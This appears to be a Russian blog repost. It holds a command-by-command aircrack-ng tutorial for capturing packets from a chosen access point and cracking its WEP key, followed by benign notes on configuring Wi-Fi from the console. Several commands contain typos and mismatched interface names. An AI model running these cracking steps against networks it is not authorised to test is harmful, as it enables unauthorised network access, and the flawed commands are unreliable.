Подбор ключа WEP для WiFi с помощью aircrack-ng

http://www.extime.vn.ua/?q=node/37

Установим aircrack-ng:

$ apt-get install aircrack-ng

Далее:

$ sudo airmon-ng wlan0 stop
$ sudo iwconfig wlan0 mode monitor channel 6

Это переводит карту в режим монтиторинга на 6 канале WiFi.

Делаем тест инджектинга:

$ aireplay-ng wlan- -9

Кстати, инджектинг может иногда и не работать но подбор ключа WEP при этом всеравно возможен.

Запускаем сбор пакетов:

$ airodump-ng -c 6 –bssid 00:AA:00:AA:00:AA -w packets ath0

где
-c 6 – номер канала
–bssid 00:AA:00:AA:00:AA – BSSID нашей точки доступа
-w packet – пишем все в файл packets
-wlan0 – интерфейс

Видим на экране как происходит сбор пакетов. Для подбора 64-битного ключа нам нужно гдето примерно 40000 пакетов, для 128-битного от 40000 до примерно 85000 пакетов в колонке DATA.

Теперь сам подбор:

$ aircrack-ng -z -b 00:AA:00:AA:00:AA packets*.cap

Через некоторое время наблюдаем чтото подобное:

Aircrack-ng 0.9

[00:03:06] Tested 674449 keys (got 96610 IVs)

[....]

KEY FOUND! [ 12:34:56:78:90 ]

Это и есть наш ключ WEP!

---

Перепост отсюда

Заметки по Wi-Fi (настройка из консоли)

#check for wi-fi device:

lspci | grep -i wireless
lspci | grep -i network

#check if necessary module is installed:

lsmod | grep -i {CHIPSET_MODEL}

#check for wireless interfaces:

iwconfig

#setting up wi-fi card:

sudo ifconfig wlan0 up

————ifcfg-wlan0—————
GATEWAY=192.168.3.1
TYPE=Wireless
DEVICE=wlan0
BOOTPROTO=static
NETMASK=255.255.255.0
IPADDR=192.168.3.4
ONBOOT=yes
USERCTL=yes
PEERDNS=yes
IPV6INIT=no
NM_CONTROLLED=no
ESSID=NETWORK_NAME
CHANNEL=5
MODE=auto
RATE=auto
——————————————

#switch on wi-fi card:

ifconfig wlan0 up

#find out wi-fi nets:

iwlist wlan0 scan

#set passphrase:

wpa_passphrase NETWORK_NAMEPASSPHRASE> /etc/wpa_supplicant.conf

#run wpa supplicant:

wpa_supplicant -iwlan0 -c /etc/wpa_supplicant.conf

#get ip addres via dhcp(if not static):

dhcpcd -v 10 wan0

---

http://unixhome.org.ua/forum/index.php?showtopic=83
http://noc.ifmo.ru/itmo-wi-fi-linux.html